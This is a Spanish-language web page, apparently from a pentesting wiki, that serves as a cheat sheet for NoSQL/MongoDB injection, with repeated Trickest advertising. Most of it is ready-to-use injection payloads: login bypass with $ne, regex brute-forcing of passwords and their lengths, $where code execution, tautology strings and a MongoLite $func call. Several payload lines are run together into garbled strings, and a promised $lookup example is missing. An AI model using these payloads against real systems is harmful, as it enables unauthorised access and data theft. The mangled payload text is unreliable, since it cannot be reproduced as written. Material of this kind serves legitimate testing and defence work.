Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:
En PHP puedes enviar un Array cambiando el parámetro enviado de parámetro=foo a parámetro[nombreArr]=foo.
Los exploits se basan en agregar un Operador:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Un atacante puede explotar esto ingresando cadenas como admin' || 'a'=='a, haciendo que la consulta devuelva todos los documentos al satisfacer la condición con una tautología ('a'=='a'). Esto es análogo a los ataques de inyección SQL donde se utilizan entradas como ' or 1=1-- - para manipular consultas SQL. En MongoDB, se pueden realizar inyecciones similares utilizando entradas como ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extraer información de longitud
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Utilizando el operador $func de la biblioteca MongoLite (utilizado de forma predeterminada) podría ser posible ejecutar una función arbitraria como se muestra en este informe.
"user":{"$func":"var_dump"}
Obtener información de una colección diferente
Es posible utilizar $lookup para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una colección diferente llamada users y obteniendo los resultados de todas las entradas con una contraseña que coincida con un comodín.
NOTA:$lookup y otras funciones de agregación solo están disponibles si la función aggregate() se utilizó para realizar la búsqueda en lugar de las funciones más comunes find() o findOne().
Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo: